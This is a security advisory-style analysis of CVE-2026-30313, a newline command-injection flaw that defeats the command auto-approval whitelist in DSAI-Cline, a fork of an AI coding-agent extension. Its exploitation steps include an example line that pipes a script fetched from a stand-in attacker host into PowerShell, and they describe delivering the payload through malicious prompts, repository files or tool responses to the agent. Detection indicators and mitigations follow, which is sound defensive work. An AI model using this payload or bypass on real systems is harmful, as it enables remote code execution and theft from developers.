CVE-2026-30313: 
Homebrew vulnerability analysis and mitigation

CVE-2026-30313 is a critical OS command injection vulnerability in DSAI-Cline's command auto-approval module that renders its whitelist security mechanism completely ineffective. It affects DSAI-Cline versions up to and including 1.1.2, a fork of the Cline autonomous coding agent VS Code extension. The vulnerability was disclosed on March 30, 2026, with the GitHub Advisory (GHSA-rfcm-98h7-2567) published the same day. It carries a CVSS v3.1 base score of 9.8 (Critical) (Github Advisory, Feedly).

The root cause is improper input validation in the command auto-approval module's string-based parsing logic, classified as CWE-94 (Improper Control of Generation of Code) and also exhibiting characteristics of CWE-78 (OS Command Injection) (Github Advisory, LLM-Tool-Calling-CVEs Issue). The whitelist mechanism intercepts common dangerous shell operators (;, &&, ||, |) and command substitution patterns, but fails to account for raw newline characters (\n) as command separators. An attacker crafts a payload by embedding a literal newline between a whitelisted command and malicious code — for example, git log\nmalicious_command — causing DSAI-Cline to classify the entire input as a safe, whitelisted operation and auto-approve it without user interaction. The underlying PowerShell interpreter then treats the newline as a command separator and executes both commands sequentially, achieving arbitrary code execution (LLM-Tool-Calling-CVEs Issue).

Successful exploitation results in remote code execution on the host system running DSAI-Cline, with no privileges or user interaction required. An attacker gains full control over the affected developer workstation, enabling exfiltration of source code, credentials, API keys, and other sensitive data stored in the development environment. The high confidentiality, integrity, and availability impact scores reflect the potential for complete system compromise, lateral movement within developer networks, and persistent access via the IDE's execution context (Github Advisory, LLM-Tool-Calling-CVEs Issue).

There is no public proof-of-concept exploit code or evidence of in-the-wild exploitation at this time (Feedly). The vulnerability is network-accessible, requires no authentication or user interaction, and has low attack complexity, making it highly attractive for exploitation once a PoC becomes available. The EPSS score is approximately 0.87–0.885% (76th percentile), indicating a moderate near-term exploitation probability (Github Advisory). The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report, and no threat actor attribution has been identified.

1. Identify target: Locate a system running DSAI-Cline (version ≤ 1.1.2) with the command auto-approval feature enabled, accessible via network or through a malicious repository/project that the target developer opens.
2. Craft malicious payload: Construct a command string that begins with a whitelisted command (e.g., git log) followed by a literal newline character (\n) and the malicious command (e.g., curl http://attacker.com/shell.ps1 | powershell).
3. Inject payload: Deliver the crafted command through a vector that causes DSAI-Cline's auto-approval module to evaluate it — for example, via a malicious AI prompt, a crafted repository file, or a tool-call response that triggers the command validation logic.
4. Bypass whitelist: DSAI-Cline's string-based parser scans the input, identifies git log as a whitelisted command, and fails to detect the embedded newline as a separator, classifying the entire payload as safe and auto-approving execution.
5. Achieve RCE: PowerShell receives the multi-line input, treats the newline as a command separator, and executes both git log and the attacker's malicious command sequentially — resulting in arbitrary code execution on the developer's workstation without any user prompt (LLM-Tool-Calling-CVEs Issue, Github Advisory).

• Process: Unexpected child processes spawned by the DSAI-Cline/VS Code extension host process (e.g., powershell.exe, cmd.exe, curl, wget, python) executing commands not initiated by the developer.
• Network: Outbound connections from the developer workstation to unknown or suspicious IP addresses/domains originating from the VS Code extension host or PowerShell process; unexpected DNS lookups for attacker-controlled domains.
• Logs: PowerShell command history or transcript logs containing multi-line commands where a whitelisted command (e.g., git log) is immediately followed by an unrelated or suspicious command on the next line.
• File System: New or modified scripts, executables, or configuration files in the workspace or user profile directories created by the extension host process; unexpected scheduled tasks or startup entries added by PowerShell.
• Terminal: DSAI-Cline auto-approval logs showing commands approved that contain embedded newline characters or multi-line payloads.

Users should apply the available security patch referenced in the GitHub Advisory (GHSA-rfcm-98h7-2567) immediately (Github Advisory). As a workaround, disable the command auto-approval feature in DSAI-Cline and require manual review and approval for all terminal commands until a patched version is confirmed. The input validation logic in the command auto-approval module should be updated to treat newline characters (\n, \r\n) and other whitespace-based command separators as dangerous operators subject to the same blocking rules as ;, &&, ||, and |. Organizations should also consider restricting DSAI-Cline's network access and auditing PowerShell execution policies on developer workstations.

The vulnerability was originally reported by the Secsys-FDU research group (Fudan University) as part of their LLM Tool Calling CVEs project, which systematically investigates security issues in AI coding assistant tool-call mechanisms (LLM-Tool-Calling-CVEs Issue). The issue highlights a broader class of security concerns around AI-assisted development tools that implement auto-approval or auto-execution features, where insufficient input sanitization can undermine safety controls. No significant mainstream media coverage or notable social media discussion has been identified beyond the initial disclosure.